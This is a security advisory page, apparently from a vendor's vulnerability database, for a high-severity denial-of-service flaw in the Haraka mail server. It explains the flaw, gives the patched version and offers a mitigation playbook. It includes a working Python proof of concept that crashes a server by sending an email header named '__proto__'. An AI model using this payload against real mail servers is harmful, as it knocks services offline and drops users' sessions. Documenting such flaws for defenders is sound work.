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GHSA-xph3-r2jf-4vp3

HIGH

GHSA-xph3-r2jf-4vp3 is a high-severity (CVSS 7.5) CWE-248 vulnerability in Haraka. O3 Security confirms whether GHSA-xph3-r2jf-4vp3 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Haraka affected by DoS via `__proto__` email header

Also known asCVE-2026-34752
Published
Apr 1, 2026
Updated
Apr 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

Harakanpm
24Kdownloads / week

Description

Summary

Sending an email with __proto__: as a header name crashes the Haraka worker process.

Details

The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:

_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}

When key is __proto__:

  1. this.headers['__proto__'] returns Object.prototype (the prototype getter)
  2. Object.prototype is not null/undefined, so ??= is skipped
  3. Object.prototype.push(value) throws TypeError: not a function

The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):

process.on('uncaughtException', (err) => {
    if (err.stack) {
        err.stack.split('\n').forEach((line) => logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})

PoC

import socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: [email protected]\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")

Impact

In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmHarakaall versions3.1.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Haraka. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update Haraka to 3.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xph3-r2jf-4vp3 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xph3-r2jf-4vp3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xph3-r2jf-4vp3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Sending an email with `__proto__:` as a header name crashes the Haraka worker process. ### Details The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object: ```javascript _add_header(key, value, method) { this.headers[key] ??= [] // line 216 this.headers[key][method](value) // line 217 } ``` When `key` is `__proto__`: 1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter) 2. `Object.prototype` is not null/undefined, so `??=` is skipped 3. `Object.prototype.push(value)` thro
O3 Security · Impact-Aware SCA

Is GHSA-xph3-r2jf-4vp3 in your dependencies?

O3 detects GHSA-xph3-r2jf-4vp3 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.